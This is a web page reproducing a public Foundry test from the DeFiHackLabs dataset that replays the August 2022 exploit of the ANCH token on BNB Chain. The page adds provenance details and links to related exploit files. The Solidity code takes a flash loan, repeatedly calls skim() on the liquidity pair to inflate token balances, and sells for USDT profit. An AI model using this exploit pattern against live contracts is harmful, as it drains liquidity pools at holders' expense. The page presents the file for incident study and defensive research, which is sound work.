Public reproduction file
src/test/2022-08/ANCH_exp.sol
Public reproduction file for dataset entry ANCH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/AnciliaInc/status/15578467666821406729// @Contract address10// https://bscscan.com/address/0xa4f5d4afd6b9226b3004dd276a9f778eb75f2e9e#code12contract ContractTest is Test {13 IERC20 ANCH = IERC20(0xA4f5d4aFd6b9226b3004dD276A9F778EB75f2e9e);14 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);15 Uni_Pair_V2 Pair = Uni_Pair_V2(0xaD0dA05b9C20fa541012eE2e89AC99A864CC68Bb);16 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);17 address dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);21 function setUp() public {22 cheats.createSelectFork("bsc", 20_302_534);23 }25 function testExploit() public {26 USDT.approve(address(Router), type(uint256).max);27 ANCH.approve(address(Router), type(uint256).max);28 DVM(dodo).flashLoan(0, 50_000 * 1e18, address(this), new bytes(1));30 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);31 }33 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {34 // get ANCH35 buyANCH();36 // call skim to add ANCH amount37 ANCH.transfer(address(Pair), ANCH.balanceOf(address(this)));38 for (uint256 index = 0; index < 60; index++) {39 Pair.skim(address(Pair));40 }41 Pair.skim(address(this));42 // sell ANCH43 sellANCH();44 USDT.transfer(dodo, 50_000 * 1e18);45 }47 function buyANCH() internal {48 address[] memory path = new address[](2);49 path[0] = address(USDT);50 path[1] = address(ANCH);51 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(52 USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp53 );54 }56 function sellANCH() internal {57 address[] memory path = new address[](2);58 path[0] = address(ANCH);59 path[1] = address(USDT);60 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(61 ANCH.balanceOf(address(this)), 0, path, address(this), block.timestamp62 );63 }64}Analysis
Dataset entry
Public Foundry test for “ANCH” (2022-08-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
- src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
- src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
- src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
- src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
- src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
- src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
- src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
- src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
- src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- ANCH
- Path
- src/test/2022-08/ANCH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 11eb4fac76df6ff1ba718003a5bfe0a23211afee
- Language
- Solidity
- Size
- 65 lines
- Date
- 2022-08-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-08/ANCH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 11eb4fac76df6ff1ba718003a5bfe0a23211afee, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.